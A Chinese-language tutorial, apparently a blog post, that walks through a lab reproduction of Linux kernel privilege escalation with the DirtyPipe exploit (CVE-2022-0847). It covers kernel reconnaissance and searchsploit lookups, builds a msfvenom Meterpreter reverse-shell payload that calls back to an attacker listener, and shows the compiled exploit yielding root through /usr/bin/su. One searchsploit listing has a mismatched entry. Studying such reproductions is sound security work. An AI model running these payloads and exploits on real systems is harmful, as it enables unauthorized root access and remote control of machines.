

Linux内核提权

提权原理

内核提权是利用Linux内核的漏洞进行提权的。内核漏洞进行提权一般包括三个环节：

- 1、对目标系统进行信息收集，获取到系统内核信息以及版本信息；
- 2、根据内核版本获取其对应的漏洞以及EXP；
- 3、使用找到的EXP对目标系统发起攻击，完成提权操作

查看Linux操作系统的内核版本和相关信息

```
cat /etc/issue 查看ubuntu或者centos的版本
cat /etc/*-release 查看centos版本
uname -a 查看系统全部信息
uname -r 查看内核版本
```

```
daoer@daoer:~/桌面$ uname -a
Linux daoer 5.10.10-051010 generic #202101231639 SMP Sat Jan 23 17:16:37 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
```

EXP怎么找呢，可以用kali去寻找，kali中自带searchsploit命令可以查找EXP

Exploit Title	Path
cPanel 5 < 9 - Local Privilege Escalation	linux/local/24141.txt
CyberArk < 10 - Memory Disclosure	linux/remote/44829.py
CyberArk Password Vault < 9.7 / < 10 - Memory Disclosure	linux/dos/44428.txt
DenyAll WAF < 6.3.0 - Remote Code Execution (Metasploit)	linux/webapps/42769.rb
LibreOffice < 6.0.1 - 'WEBSERVICE' Remote Arbitrary File Disclosure	linux/remote/44022.md
Linux Kernel 2.4/2.6 (RedHat Linux 9 / Fedora Core 4 < 11 / Whitebox 4 / CentOS 4) - 'sock_	linux/local/9479.c
Linux Kernel 4.8.0 UDEV < 232 - Local Privilege Escalation	linux/local/41886.c
Linux Kernel 5.8 < 5.16.11 - Local Privilege Escalation (DirtyPipe)	linux/local/50808.c

输入 `searchsploit -m 50808.c` 就会自动复制该文件到当前目录

```
# searchsploit -m 50808.c

Exploit: Linux Kernel 5.8 < 5.16.11 - Local Privilege Escalation (DirtyPipe)
URL: https://www.exploit-db.com/exploits/50808
Path: /usr/share/exploitdb/exploits/linux/local/50808.c
Codes: CVE-2022-0847
Verified: False
File Type: C source, ASCII text
Copied to: /root/Desktop/50808.c
```

去互联网搜索该脚本的用法和相关的文档

找到约 45,200 条结果 (用时 0.29 秒)

<https://m.freebuf.com/articles/network> ▼

CVE-2022-0847漏洞复现- FreeBuf网络安全行业门户

CVE-2022-0847是自5.8 以来Linux 内核中的一个漏洞, 攻击者利用该漏洞可以覆盖任意只读文件中的数据。这样将普通的权限提升至root权限, 因为非特权进程可以将代码注入到根 ...

<https://m.freebuf.com/vuls> ▼

CVE-2022-0847 Linux 脏管漏洞分析与利用

2022年3月7日, 安全研究员Max 提出一个Linux 内核提权漏洞CVE-2022-0847, 攻击者可以利用该漏洞实现低权限用户提升至root 权限, 且能对主机任意可读文件进行读写。

提权环境

本次实验使用Ubuntu 20.04,内核版本是5.10版本的

```
daoer@daoer:~/桌面$ uname -a
Linux daoer 5.10.10-051010-generic #202101231639 SMP Sat Jan 23 17:16:3
7 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
daoer@daoer:~/桌面$ cat /etc/issue
Ubuntu 20.04.4 LTS \n \l
daoer@daoer:~/桌面$
```

提权复现

使用MSF上线机器

```
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.41.211 LPORT=8888 -f
elf > msshell.elf

use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.41.211
set lport 8888
run
```

查看操作系统c

```
cat /etc/issue
cat /etc/*-release
```

```
cat /etc/issue
Ubuntu 20.04.4 LTS \n \l

uname -r
5.10.10-051010-generic
```

查看可以利用的内核版本提权漏洞

```
searchsploit linux 5.10.10
```

```
LibreOffice < 6.0.1 - "WEBSERVICE" Remote Arbitrary | linux/remote/44022.md  
Linux Kernel 2.4/2.6 (RedHat Linux 9 / Fedora Core 4 | linux/local/9479.c  
Linux Kernel 4.8.0 UDEV < 232 - Local Privilege Esca | linux/local/41886.c  
Linux Kernel 5.8 < 5.16.11 - Local Privilege Escalat | linux/local/50808.c  
GCC 4.8.2 - 7.7 - Local Privilege Escalation | linux/local/50808.c
```

将脚本进行复制并且只用GCC进行编译，或者使用百度搜索相关的文档进行使用

```
./test11 /usr/bin/su  
whoami  
root  
|
```